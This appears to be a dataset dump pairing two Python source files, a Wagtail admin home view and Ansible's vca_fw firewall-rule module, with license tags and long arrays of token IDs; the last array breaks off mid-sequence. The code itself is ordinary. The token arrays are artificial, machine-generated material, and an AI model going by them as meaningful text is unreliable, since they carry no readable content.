def __init__(self, request): self.request = request # Last n edited pages last_edits = PageRevision.objects.raw( """ SELECT wp.* FROM wagtailcore_pagerevision wp JOIN ( SELECT max(created_at) AS max_created_at, page_id FROM wagtailcore_pagerevision WHERE user_id = %s GROUP BY page_id ORDER BY max_created_at DESC LIMIT %s ) AS max_rev ON max_rev.max_created_at = wp.created_at ORDER BY wp.created_at DESC """, [ User._meta.pk.get_db_prep_value(self.request.user.pk, connections['default']), getattr(settings, 'WAGTAILADMIN_RECENT_EDITS_LIMIT', 5) ] ) last_edits = list(last_edits) page_keys = [pr.page.pk for pr in last_edits] specific_pages = Page.objects.filter(pk__in=page_keys).specific() pages = {p.pk: p for p in specific_pages} self.last_edits = [ [review, pages.get(review.page.pk)] for review in last_edits ] def render(self): return render_to_string('wagtailadmin/home/recent_edits.html', { 'last_edits': list(self.last_edits), }, request=self.request) def home(request): panels = [ SiteSummaryPanel(request), UpgradeNotificationPanel(request), PagesForModerationPanel(request), RecentEditsPanel(request), ] for fn in hooks.get_hooks('construct_homepage_panels'): fn(request, panels) root_page = get_explorable_root_page(request.user) if root_page: root_site = root_page.get_site() else: root_site = None real_site_name = None if root_site: real_site_name = root_site.site_name if root_site.site_name else root_site.hostname return render(request, "wagtailadmin/home.html", { 'root_page': root_page, 'root_site': root_site, 'site_name': real_site_name if real_site_name else settings.WAGTAIL_SITE_NAME, 'panels': sorted(panels, key=lambda p: p.order), 'user': request.user }) def error_test(request): raise Exception("This is a test of the emergency broadcast system.")
bsd-3-clause
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 2649, 63, 5955, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 2828, 14, 1178, 492, 664, 63, 751, 63, 1238, 199, 504, 1639, 14, 697, 492, 6947, 199, 504, 1639, 14, 17469, 492, 3795, 199, 504, 1639, 14, 1160, 14, 3422, 492, 3795, 63, 475, 63, 875, 199, 199, 504, 7328, 14, 30874, 14, 24148, 492, 664, 63, 476, 1168, 30932, 63, 1231, 63, 1606, 199, 504, 7328, 14, 30874, 14, 2124, 63, 4705, 492, 11666, 10407, 10185, 199, 504, 7328, 14, 31439, 492, 12604, 199, 504, 7328, 14, 31439, 14, 992, 492, 10331, 12, 10331, 12714, 12, 2876, 3276, 17004, 4936, 421, 199, 1899, 275, 664, 63, 751, 63, 1238, 342, 421, 199, 3, 510, 4822, 83, 367, 314, 26586, 199, 199, 533, 4949, 4523, 11598, 10185, 8, 785, 304, 272, 536, 275, 283, 9375, 63, 6761, 7, 272, 1865, 275, 2948, 339, 347, 636, 826, 721, 277, 12, 1056, 304, 267, 291, 14, 1069, 275, 1056, 339, 347, 3795, 8, 277, 304, 267, 340, 291, 14, 1069, 14, 751, 14, 374, 63, 11434, 436, 2519, 8, 1751, 12, 298, 55, 1254, 30890, 63, 8898, 63, 10383, 63, 8936, 401, 715, 304, 288, 372, 3795, 63, 475, 63, 875, 360, 30874, 15, 4219, 15, 9375, 63, 6761, 14, 1360, 297, 5479, 1056, 29, 277, 14, 1069, 9, 267, 587, 26, 288, 372, 3087, 421, 199, 533, 510, 7441, 1858, 1385, 1754, 10185, 8, 785, 304, 272, 536, 275, 283, 5856, 63, 509, 63, 632, 1754, 7, 272, 1865, 275, 1926, 339, 347, 636, 826, 721, 277, 12, 1056, 304, 267, 291, 14, 1069, 275, 1056, 267, 922, 63, 12068, 275, 2876, 3276, 17004, 4936, 8, 1069, 14, 751, 9, 267, 291, 14, 1606, 63, 23449, 63, 509, 63, 632, 1754, 275, 334, 751, 63, 12068, 14, 23449, 63, 509, 63, 632, 1754, 342, 6343, 1275, 2416, 63, 2407, 360, 1606, 297, 283, 751, 1959, 1648, 63, 991, 3654, 3966, 63, 292, 1333, 339, 347, 3795, 8, 277, 304, 267, 372, 3795, 63, 475, 63, 875, 360, 30874, 15, 4219, 15, 5856, 63, 509, 63, 632, 1754, 14, 1360, 297, 469, 288, 283, 1606, 63, 23449, 63, 509, 63, 632, 1754, 356, 291, 14, 1606, 63, 23449, 63, 509, 63, 632, 1754, 12, 267, 1660, 1056, 29, 277, 14, 1069, 9, 421, 199, 533, 799, 2946, 37, 15256, 10185, 8, 785, 304, 272, 536, 275, 283, 14951, 63, 6297, 1086, 7, 272, 1865, 275, 9601, 339, 347, 636, 826, 721, 277, 12, 1056, 304, 267, 291, 14, 1069, 275, 1056, 398, 327, 15237, 302, 21062, 6497, 267, 2061, 63, 6297, 1086, 275, 10331, 12714, 14, 1462, 14, 1773, 8, 288, 408, 288, 10468, 19997, 2795, 4442, 355, 7328, 1018, 63, 1606, 5792, 19997, 10593, 334, 490, 10468, 1390, 8, 3966, 63, 292, 9, 4319, 1390, 63, 3966, 63, 292, 12, 2034, 63, 344, 4442, 717, 7328, 1018, 63, 1606, 5792, 6038, 922, 63, 344, 275, 450, 83, 15443, 6515, 2034, 63, 344, 16044, 6515, 1390, 63, 3966, 63, 292, 23915, 5138, 450, 83, 355, 776, 4319, 1390, 63, 4964, 5258, 1390, 63, 4964, 14, 988, 63, 3966, 63, 292, 275, 19997, 14, 3966, 63, 292, 16044, 6515, 19997, 14, 3966, 63, 292, 23915, 1467, 10327, 359, 355, 2876, 423, 2024, 14, 2051, 14, 362, 63, 697, 63, 10837, 63, 585, 8, 277, 14, 1069, 14, 751, 14, 2051, 12, 6947, 459, 885, 3815, 355, 2519, 8, 1751, 12, 283, 55, 1254, 30890, 14288, 63, 9481, 1309, 63, 1149, 5930, 63, 13387, 297, 959, 9, 288, 1622, 267, 776, 267, 2061, 63, 6297, 1086, 275, 769, 8, 2019, 63, 6297, 1086, 9, 267, 2034, 63, 1612, 275, 359, 2700, 14, 1606, 14, 2051, 367, 5448, 315, 2061, 63, 6297, 1086, 61, 267, 2488, 63, 5856, 275, 10331, 14, 1462, 14, 1541, 8, 2051, 363, 262, 29, 1606, 63, 1612, 680, 6100, 342, 267, 6497, 275, 469, 80, 14, 2051, 26, 299, 367, 299, 315, 2488, 63, 5856, 93, 267, 291, 14, 2019, 63, 6297, 1086, 275, 359, 288, 359, 8578, 12, 6497, 14, 362, 8, 8578, 14, 1606, 14, 2051, 1874, 367, 11248, 315, 2061, 63, 6297, 1086, 267, 1622, 339, 347, 3795, 8, 277, 304, 267, 372, 3795, 63, 475, 63, 875, 360, 30874, 15, 4219, 15, 14951, 63, 6297, 1086, 14, 1360, 297, 469, 288, 283, 2019, 63, 6297, 1086, 356, 769, 8, 277, 14, 2019, 63, 6297, 1086, 395, 267, 1660, 1056, 29, 277, 14, 1069, 9, 421, 199, 318, 5629, 8, 1069, 304, 339, 12748, 83, 275, 359, 267, 11666, 10407, 10185, 8, 1069, 395, 267, 4949, 4523, 11598, 10185, 8, 1069, 395, 267, 510, 7441, 1858, 1385, 1754, 10185, 8, 1069, 395, 267, 799, 2946, 37, 15256, 10185, 8, 1069, 395, 272, 1622, 339, 367, 4325, 315, 12604, 14, 362, 63, 7922, 360, 8514, 63, 25539, 63, 31929, 735, 267, 4325, 8, 1069, 12, 12748, 83, 9, 339, 1738, 63, 1606, 275, 664, 63, 476, 1168, 30932, 63, 1231, 63, 1606, 8, 1069, 14, 751, 9, 272, 340, 1738, 63, 1606, 26, 267, 1738, 63, 2124, 275, 1738, 63, 1606, 14, 362, 63, 2124, 342, 272, 587, 26, 267, 1738, 63, 2124, 275, 488, 339, 3363, 63, 2124, 63, 354, 275, 488, 272, 340, 1738, 63, 2124, 26, 267, 3363, 63, 2124, 63, 354, 275, 1738, 63, 2124, 14, 2124, 63, 354, 340, 1738, 63, 2124, 14, 2124, 63, 354, 587, 1738, 63, 2124, 14, 4269, 339, 372, 3795, 8, 1069, 12, 298, 30874, 15, 4219, 14, 1360, 401, 469, 267, 283, 1231, 63, 1606, 356, 1738, 63, 1606, 12, 267, 283, 1231, 63, 2124, 356, 1738, 63, 2124, 12, 267, 283, 2124, 63, 354, 356, 3363, 63, 2124, 63, 354, 340, 3363, 63, 2124, 63, 354, 587, 2202, 14, 55, 1254, 30890, 63, 7917, 63, 2339, 12, 267, 283, 31929, 356, 3355, 8, 31929, 12, 790, 29, 2734, 299, 26, 299, 14, 1648, 395, 267, 283, 751, 356, 1056, 14, 751, 272, 3828, 421, 199, 318, 1125, 63, 396, 8, 1069, 304, 272, 746, 2186, 480, 2765, 365, 282, 511, 402, 314, 325, 2626, 27798, 11180 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 12, 2649, 63, 5955, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 2828, 14, 1178, 492, 664, 63, 751, 63, 1238, 199, 504, 1639, 14, 697, 492, 6947, 199, 504, 1639, 14, 17469, 492, 3795, 199, 504, 1639, 14, 1160, 14, 3422, 492, 3795, 63, 475, 63, 875, 199, 199, 504, 7328, 14, 30874, 14, 24148, 492, 664, 63, 476, 1168, 30932, 63, 1231, 63, 1606, 199, 504, 7328, 14, 30874, 14, 2124, 63, 4705, 492, 11666, 10407, 10185, 199, 504, 7328, 14, 31439, 492, 12604, 199, 504, 7328, 14, 31439, 14, 992, 492, 10331, 12, 10331, 12714, 12, 2876, 3276, 17004, 4936, 421, 199, 1899, 275, 664, 63, 751, 63, 1238, 342, 421, 199, 3, 510, 4822, 83, 367, 314, 26586, 199, 199, 533, 4949, 4523, 11598, 10185, 8, 785, 304, 272, 536, 275, 283, 9375, 63, 6761, 7, 272, 1865, 275, 2948, 339, 347, 636, 826, 721, 277, 12, 1056, 304, 267, 291, 14, 1069, 275, 1056, 339, 347, 3795, 8, 277, 304, 267, 340, 291, 14, 1069, 14, 751, 14, 374, 63, 11434, 436, 2519, 8, 1751, 12, 298, 55, 1254, 30890, 63, 8898, 63, 10383, 63, 8936, 401, 715, 304, 288, 372, 3795, 63, 475, 63, 875, 360, 30874, 15, 4219, 15, 9375, 63, 6761, 14, 1360, 297, 5479, 1056, 29, 277, 14, 1069, 9, 267, 587, 26, 288, 372, 3087, 421, 199, 533, 510, 7441, 1858, 1385, 1754, 10185, 8, 785, 304, 272, 536, 275, 283, 5856, 63, 509, 63, 632, 1754, 7, 272, 1865, 275, 1926, 339, 347, 636, 826, 721, 277, 12, 1056, 304, 267, 291, 14, 1069, 275, 1056, 267, 922, 63, 12068, 275, 2876, 3276, 17004, 4936, 8, 1069, 14, 751, 9, 267, 291, 14, 1606, 63, 23449, 63, 509, 63, 632, 1754, 275, 334, 751, 63, 12068, 14, 23449, 63, 509, 63, 632, 1754, 342, 6343, 1275, 2416, 63, 2407, 360, 1606, 297, 283, 751, 1959, 1648, 63, 991, 3654, 3966, 63, 292, 1333, 339, 347, 3795, 8, 277, 304, 267, 372, 3795, 63, 475, 63, 875, 360, 30874, 15, 4219, 15, 5856, 63, 509, 63, 632, 1754, 14, 1360, 297, 469, 288, 283, 1606, 63, 23449, 63, 509, 63, 632, 1754, 356, 291, 14, 1606, 63, 23449, 63, 509, 63, 632, 1754, 12, 267, 1660, 1056, 29, 277, 14, 1069, 9, 421, 199, 533, 799, 2946, 37, 15256, 10185, 8, 785, 304, 272, 536, 275, 283, 14951, 63, 6297, 1086, 7, 272, 1865, 275, 9601, 339, 347, 636, 826, 721, 277, 12, 1056, 304, 267, 291, 14, 1069, 275, 1056, 398, 327, 15237, 302, 21062, 6497, 267, 2061, 63, 6297, 1086, 275, 10331, 12714, 14, 1462, 14, 1773, 8, 288, 408, 288, 10468, 19997, 2795, 4442, 355, 7328, 1018, 63, 1606, 5792, 19997, 10593, 334, 490, 10468, 1390, 8, 3966, 63, 292, 9, 4319, 1390, 63, 3966, 63, 292, 12, 2034, 63, 344, 4442, 717, 7328, 1018, 63, 1606, 5792, 6038, 922, 63, 344, 275, 450, 83, 15443, 6515, 2034, 63, 344, 16044, 6515, 1390, 63, 3966, 63, 292, 23915, 5138, 450, 83, 355, 776, 4319, 1390, 63, 4964, 5258, 1390, 63, 4964, 14, 988, 63, 3966, 63, 292, 275, 19997, 14, 3966, 63, 292, 16044, 6515, 19997, 14, 3966, 63, 292, 23915, 1467, 10327, 359, 355, 2876, 423, 2024, 14, 2051, 14, 362, 63, 697, 63, 10837, 63, 585, 8, 277, 14, 1069, 14, 751, 14, 2051, 12, 6947, 459, 885, 3815, 355, 2519, 8, 1751, 12, 283, 55, 1254, 30890, 14288, 63, 9481, 1309, 63, 1149, 5930, 63, 13387, 297, 959, 9, 288, 1622, 267, 776, 267, 2061, 63, 6297, 1086, 275, 769, 8, 2019, 63, 6297, 1086, 9, 267, 2034, 63, 1612, 275, 359, 2700, 14, 1606, 14, 2051, 367, 5448, 315, 2061, 63, 6297, 1086, 61, 267, 2488, 63, 5856, 275, 10331, 14, 1462, 14, 1541, 8, 2051, 363, 262, 29, 1606, 63, 1612, 680, 6100, 342, 267, 6497, 275, 469, 80, 14, 2051, 26, 299, 367, 299, 315, 2488, 63, 5856, 93, 267, 291, 14, 2019, 63, 6297, 1086, 275, 359, 288, 359, 8578, 12, 6497, 14, 362, 8, 8578, 14, 1606, 14, 2051, 1874, 367, 11248, 315, 2061, 63, 6297, 1086, 267, 1622, 339, 347, 3795, 8, 277, 304, 267, 372, 3795, 63, 475, 63, 875, 360, 30874, 15, 4219, 15, 14951, 63, 6297, 1086, 14, 1360, 297, 469, 288, 283, 2019, 63, 6297, 1086, 356, 769, 8, 277, 14, 2019, 63, 6297, 1086, 395, 267, 1660, 1056, 29, 277, 14, 1069, 9, 421, 199, 318, 5629, 8, 1069, 304, 339, 12748, 83, 275, 359, 267, 11666, 10407, 10185, 8, 1069, 395, 267, 4949, 4523, 11598, 10185, 8, 1069, 395, 267, 510, 7441, 1858, 1385, 1754, 10185, 8, 1069, 395, 267, 799, 2946, 37, 15256, 10185, 8, 1069, 395, 272, 1622, 339, 367, 4325, 315, 12604, 14, 362, 63, 7922, 360, 8514, 63, 25539, 63, 31929, 735, 267, 4325, 8, 1069, 12, 12748, 83, 9, 339, 1738, 63, 1606, 275, 664, 63, 476, 1168, 30932, 63, 1231, 63, 1606, 8, 1069, 14, 751, 9, 272, 340, 1738, 63, 1606, 26, 267, 1738, 63, 2124, 275, 1738, 63, 1606, 14, 362, 63, 2124, 342, 272, 587, 26, 267, 1738, 63, 2124, 275, 488, 339, 3363, 63, 2124, 63, 354, 275, 488, 272, 340, 1738, 63, 2124, 26, 267, 3363, 63, 2124, 63, 354, 275, 1738, 63, 2124, 14, 2124, 63, 354, 340, 1738, 63, 2124, 14, 2124, 63, 354, 587, 1738, 63, 2124, 14, 4269, 339, 372, 3795, 8, 1069, 12, 298, 30874, 15, 4219, 14, 1360, 401, 469, 267, 283, 1231, 63, 1606, 356, 1738, 63, 1606, 12, 267, 283, 1231, 63, 2124, 356, 1738, 63, 2124, 12, 267, 283, 2124, 63, 354, 356, 3363, 63, 2124, 63, 354, 340, 3363, 63, 2124, 63, 354, 587, 2202, 14, 55, 1254, 30890, 63, 7917, 63, 2339, 12, 267, 283, 31929, 356, 3355, 8, 31929, 12, 790, 29, 2734, 299, 26, 299, 14, 1648, 395, 267, 283, 751, 356, 1056, 14, 751, 272, 3828, 421, 199, 318, 1125, 63, 396, 8, 1069, 304, 272, 746, 2186, 480, 2765, 365, 282, 511, 402, 314, 325, 2626, 27798, 11180, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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rights Reserved. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: vca_fw short_description: add remove firewall rules in a gateway in a vca description: - Adds or removes firewall rules from a gateway in a vca environment version_added: "2.0" author: - Peter Sprygada (@privateip) options: fw_rules: description: - A list of firewall rules to be added to the gateway, Please see examples on valid entries required: True default: false extends_documentation_fragment: vca.documentation ''' EXAMPLES = ''' #Add a set of firewall rules - hosts: localhost connection: local tasks: - vca_fw: instance_id: 'b15ff1e5-1024-4f55-889f-ea0209726282' vdc_name: 'benz_ansible' state: 'absent' fw_rules: - description: "ben testing" source_ip: "Any" dest_ip: 192.0.2.23 - description: "ben testing 2" source_ip: 192.0.2.50 source_port: "Any" dest_port: "22" dest_ip: 192.0.2.101 is_enable: "true" enable_logging: "false" protocol: "Tcp" policy: "allow" ''' try: from pyvcloud.schema.vcd.v1_5.schemas.vcloud.networkType import FirewallRuleType from pyvcloud.schema.vcd.v1_5.schemas.vcloud.networkType import ProtocolsType except ImportError: # normally set a flag here but it will be caught when testing for # the existence of pyvcloud (see module_utils/vca.py). This just # protects against generating an exception at runtime pass from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.vca import VcaError, vca_argument_spec, vca_login VALID_PROTO = ['Tcp', 'Udp', 'Icmp', 'Other', 'Any'] VALID_RULE_KEYS = ['policy', 'is_enable', 'enable_logging', 'description', 'dest_ip', 'dest_port', 'source_ip', 'source_port', 'protocol'] def protocol_to_tuple(protocol): return (protocol.get_Tcp(), protocol.get_Udp(), protocol.get_Icmp(), protocol.get_Other(), protocol.get_Any()) def protocol_to_string(protocol): protocol = protocol_to_tuple(protocol) if protocol[0] is True: return 'Tcp' elif protocol[1] is True: return 'Udp' elif protocol[2] is True: return 'Icmp' elif protocol[3] is True: return 'Other' elif protocol[4] is True: return 'Any' def protocol_to_type(protocol): try: protocols = ProtocolsType() setattr(protocols, protocol, True) return protocols except AttributeError: raise VcaError("The value in protocol is not valid") def validate_fw_rules(fw_rules): for rule in fw_rules: for k in rule.keys(): if k not in VALID_RULE_KEYS: raise VcaError("%s is not a valid key in fw rules, please " "check above.." % k, valid_keys=VALID_RULE_KEYS) rule['dest_port'] = str(rule.get('dest_port', 'Any')).lower() rule['dest_ip'] = rule.get('dest_ip', 'Any').lower() rule['source_port'] = str(rule.get('source_port', 'Any')).lower() rule['source_ip'] = rule.get('source_ip', 'Any').lower() rule['protocol'] = rule.get('protocol', 'Any').lower() rule['policy'] = rule.get('policy', 'allow').lower() rule['is_enable'] = rule.get('is_enable', True) rule['enable_logging'] = rule.get('enable_logging', False) rule['description'] = rule.get('description', 'rule added by Ansible') return fw_rules def fw_rules_to_dict(rules): fw_rules = list() for rule in rules: fw_rules.append( dict( dest_port=rule.get_DestinationPortRange().lower(), dest_ip=rule.get_DestinationIp().lower().lower(), source_port=rule.get_SourcePortRange().lower(), source_ip=rule.get_SourceIp().lower(), protocol=protocol_to_string(rule.get_Protocols()).lower(), policy=rule.get_Policy().lower(), is_enable=rule.get_IsEnabled(), enable_logging=rule.get_EnableLogging(), description=rule.get_Description() ) ) return fw_rules def create_fw_rule(is_enable, description, policy, protocol, dest_port, dest_ip, source_port, source_ip, enable_logging): return FirewallRuleType(IsEnabled=is_enable, Description=description, Policy=policy, Protocols=protocol_to_type(protocol), DestinationPortRange=dest_port, DestinationIp=dest_ip, SourcePortRange=source_port, SourceIp=source_ip, EnableLogging=enable_logging) def main(): argument_spec = vca_argument_spec() argument_spec.update( dict( fw_rules=dict(required=True, type='list'), gateway_name=dict(default='gateway'), state=dict(default='present', choices=['present', 'absent']) ) ) module = AnsibleModule(argument_spec, supports_check_mode=True) fw_rules = module.params.get('fw_rules') gateway_name = module.params.get('gateway_name') vdc_name = module.params['vdc_name'] vca = vca_login(module) gateway = vca.get_gateway(vdc_name, gateway_name) if not gateway: module.fail_json(msg="Not able to find the gateway %s, please check " "the gateway_name param" % gateway_name) fwservice = gateway._getFirewallService() rules = gateway.get_fw_rules() current_rules = fw_rules_to_dict(rules) try: desired_rules = validate_fw_rules(fw_rules) except VcaError as e: module.fail_json(msg=e.message) result = dict(changed=False) result['current_rules'] = current_rules result['desired_rules'] = desired_rules updates = list() additions = list() deletions = list() for (index, rule) in enumerate(desired_rules): try: if rule != current_rules[index]: updates.append((index, rule)) except IndexError: additions.append(rule) eol = len(current_rules) - len(desired_rules) if eol > 0: for rule in current_rules[eol:]: deletions.append(rule) for rule in additions: if not module.check_mode: rule['protocol'] = rule['protocol'].capitalize() gateway.add_fw_rule(**rule) result['changed'] = True for index, rule in updates: if not module.check_mode: rule = create_fw_rule(**rule) fwservice.replace_FirewallRule_at(index, rule) result['changed'] = True keys = ['protocol', 'dest_port', 'dest_ip', 'source_port', 'source_ip'] for rule in deletions: if not module.check_mode: kwargs = dict([(k, v) for k, v in rule.items() if k in keys]) kwargs['protocol'] = protocol_to_string(kwargs['protocol']) gateway.delete_fw_rule(**kwargs) result['changed'] = True if not module.check_mode and result['changed'] is True: task = gateway.save_services_configuration() if task: vca.block_until_completed(task) result['rules_updated'] = len(updates) result['rules_added'] = len(additions) result['rules_deleted'] = len(deletions) return module.exit_json(**result) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 199, 3, 1898, 26, 334, 67, 9, 6900, 12, 27391, 12, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 373, 696, 63, 8835, 199, 3612, 63, 1802, 26, 1050, 2813, 12042, 4713, 315, 282, 10391, 221, 315, 282, 373, 696, 199, 1802, 26, 523, 446, 15747, 503, 14185, 12042, 4713, 687, 282, 10391, 315, 282, 373, 696, 3734, 199, 1023, 63, 3270, 26, 298, 18, 14, 16, 2, 199, 2502, 26, 199, 13, 22912, 8360, 651, 71, 10641, 8593, 4239, 711, 9, 199, 1419, 26, 272, 13908, 63, 4423, 26, 489, 1369, 26, 267, 446, 437, 769, 402, 12042, 4713, 370, 506, 3483, 370, 314, 10391, 12, 7754, 1937, 7251, 641, 1686, 4811, 489, 1415, 26, 715, 489, 849, 26, 3055, 199, 11036, 63, 9970, 63, 7677, 26, 373, 696, 14, 9970, 199, 2344, 199, 199, 8918, 275, 1449, 199, 199, 3, 1123, 282, 663, 402, 12042, 4713, 199, 199, 13, 7057, 26, 11667, 523, 1950, 26, 2257, 523, 6527, 26, 2043, 446, 373, 696, 63, 8835, 26, 2126, 1256, 63, 344, 26, 283, 66, 1046, 556, 17, 69, 21, 13, 7727, 13, 20, 70, 1229, 13, 13976, 70, 13, 4489, 996, 17790, 1479, 16450, 7, 2126, 373, 3833, 63, 354, 26, 283, 18486, 90, 63, 4853, 7, 2126, 1174, 26, 283, 5575, 7, 2126, 13908, 63, 4423, 26, 268, 446, 1369, 26, 298, 18486, 5343, 2, 1779, 1350, 63, 711, 26, 298, 9874, 2, 1779, 2053, 63, 711, 26, 13567, 14, 16, 14, 18, 14, 1789, 268, 446, 1369, 26, 298, 18486, 5343, 499, 2, 1779, 1350, 63, 711, 26, 13567, 14, 16, 14, 18, 14, 1400, 1779, 1350, 63, 719, 26, 298, 9874, 2, 1779, 2053, 63, 719, 26, 298, 1081, 2, 1779, 2053, 63, 711, 26, 13567, 14, 16, 14, 18, 14, 4893, 1779, 365, 63, 4296, 26, 298, 2052, 2, 1779, 4756, 63, 4806, 26, 298, 3910, 2, 1779, 4113, 26, 298, 32006, 2, 1779, 4592, 26, 298, 3306, 2, 199, 199, 2344, 199, 199, 893, 26, 272, 687, 1134, 86, 4091, 14, 3629, 14, 86, 2866, 14, 86, 17, 63, 21, 14, 9482, 14, 86, 4091, 14, 1200, 804, 492, 15967, 7567, 5065, 804, 272, 687, 1134, 86, 4091, 14, 3629, 14, 86, 2866, 14, 86, 17, 63, 21, 14, 9482, 14, 86, 4091, 14, 1200, 804, 492, 2165, 475, 4574, 804, 199, 2590, 3545, 26, 272, 327, 12252, 663, 282, 3305, 2348, 1325, 652, 911, 506, 15604, 1380, 5343, 367, 272, 327, 314, 23780, 402, 1134, 86, 4091, 334, 3239, 859, 63, 1208, 15, 86, 696, 14, 647, 680, 221, 961, 2951, 272, 327, 557, 28853, 6169, 12999, 376, 1919, 737, 8836, 272, 986, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 86, 696, 492, 812, 696, 547, 12, 373, 696, 63, 2094, 63, 1650, 12, 373, 696, 63, 2886, 421, 199, 5600, 63, 7459, 275, 788, 32006, 297, 283, 22086, 297, 283, 27745, 297, 283, 8632, 297, 283, 9874, 418, 199, 5600, 63, 13578, 63, 17434, 275, 788, 3185, 297, 283, 374, 63, 4296, 297, 283, 4296, 63, 4806, 297, 283, 1802, 297, 673, 283, 2614, 63, 711, 297, 283, 2614, 63, 719, 297, 283, 1365, 63, 711, 297, 283, 1365, 63, 719, 297, 673, 283, 3922, 418, 421, 199, 318, 4113, 63, 475, 63, 2960, 8, 3922, 304, 272, 372, 334, 3922, 14, 362, 63, 32006, 1062, 288, 4113, 14, 362, 63, 22086, 1062, 288, 4113, 14, 362, 63, 27745, 1062, 288, 4113, 14, 362, 63, 8632, 1062, 288, 4113, 14, 362, 63, 9874, 1012, 421, 199, 318, 4113, 63, 475, 63, 875, 8, 3922, 304, 272, 4113, 275, 4113, 63, 475, 63, 2960, 8, 3922, 9, 272, 340, 4113, 59, 16, 61, 365, 715, 26, 267, 372, 283, 32006, 7, 272, 916, 4113, 59, 17, 61, 365, 715, 26, 267, 372, 283, 22086, 7, 272, 916, 4113, 59, 18, 61, 365, 715, 26, 267, 372, 283, 27745, 7, 272, 916, 4113, 59, 19, 61, 365, 715, 26, 267, 372, 283, 8632, 7, 272, 916, 4113, 59, 20, 61, 365, 715, 26, 267, 372, 283, 9874, 7, 421, 199, 318, 4113, 63, 475, 63, 466, 8, 3922, 304, 272, 862, 26, 267, 19230, 275, 2165, 475, 4574, 804, 342, 267, 5371, 8, 16541, 12, 4113, 12, 715, 9, 267, 372, 19230, 272, 871, 4281, 26, 267, 746, 812, 696, 547, 480, 1918, 574, 315, 4113, 365, 440, 1686, 531, 421, 199, 318, 4107, 63, 8835, 63, 4423, 8, 8835, 63, 4423, 304, 272, 367, 2332, 315, 13908, 63, 4423, 26, 267, 367, 1022, 315, 2332, 14, 1612, 837, 288, 340, 1022, 440, 315, 22049, 63, 13578, 63, 17434, 26, 355, 746, 812, 696, 547, 3647, 83, 365, 440, 282, 1686, 790, 315, 13908, 4713, 12, 8749, 298, 3044, 298, 1074, 3432, 703, 2, 450, 1022, 12, 1686, 63, 1612, 29, 5600, 63, 13578, 63, 17434, 9, 398, 2332, 459, 2614, 63, 719, 418, 275, 620, 8, 2200, 14, 362, 360, 2614, 63, 719, 297, 283, 9874, 11103, 2325, 342, 267, 2332, 459, 2614, 63, 711, 418, 275, 2332, 14, 362, 360, 2614, 63, 711, 297, 283, 9874, 1959, 2325, 342, 267, 2332, 459, 1365, 63, 719, 418, 275, 620, 8, 2200, 14, 362, 360, 1365, 63, 719, 297, 283, 9874, 11103, 2325, 342, 267, 2332, 459, 1365, 63, 711, 418, 275, 2332, 14, 362, 360, 1365, 63, 711, 297, 283, 9874, 1959, 2325, 342, 267, 2332, 459, 3922, 418, 275, 2332, 14, 362, 360, 3922, 297, 283, 9874, 1959, 2325, 342, 267 ]
[ 2647, 15, 1393, 15, 1548, 199, 199, 3, 1898, 26, 334, 67, 9, 6900, 12, 27391, 12, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 373, 696, 63, 8835, 199, 3612, 63, 1802, 26, 1050, 2813, 12042, 4713, 315, 282, 10391, 221, 315, 282, 373, 696, 199, 1802, 26, 523, 446, 15747, 503, 14185, 12042, 4713, 687, 282, 10391, 315, 282, 373, 696, 3734, 199, 1023, 63, 3270, 26, 298, 18, 14, 16, 2, 199, 2502, 26, 199, 13, 22912, 8360, 651, 71, 10641, 8593, 4239, 711, 9, 199, 1419, 26, 272, 13908, 63, 4423, 26, 489, 1369, 26, 267, 446, 437, 769, 402, 12042, 4713, 370, 506, 3483, 370, 314, 10391, 12, 7754, 1937, 7251, 641, 1686, 4811, 489, 1415, 26, 715, 489, 849, 26, 3055, 199, 11036, 63, 9970, 63, 7677, 26, 373, 696, 14, 9970, 199, 2344, 199, 199, 8918, 275, 1449, 199, 199, 3, 1123, 282, 663, 402, 12042, 4713, 199, 199, 13, 7057, 26, 11667, 523, 1950, 26, 2257, 523, 6527, 26, 2043, 446, 373, 696, 63, 8835, 26, 2126, 1256, 63, 344, 26, 283, 66, 1046, 556, 17, 69, 21, 13, 7727, 13, 20, 70, 1229, 13, 13976, 70, 13, 4489, 996, 17790, 1479, 16450, 7, 2126, 373, 3833, 63, 354, 26, 283, 18486, 90, 63, 4853, 7, 2126, 1174, 26, 283, 5575, 7, 2126, 13908, 63, 4423, 26, 268, 446, 1369, 26, 298, 18486, 5343, 2, 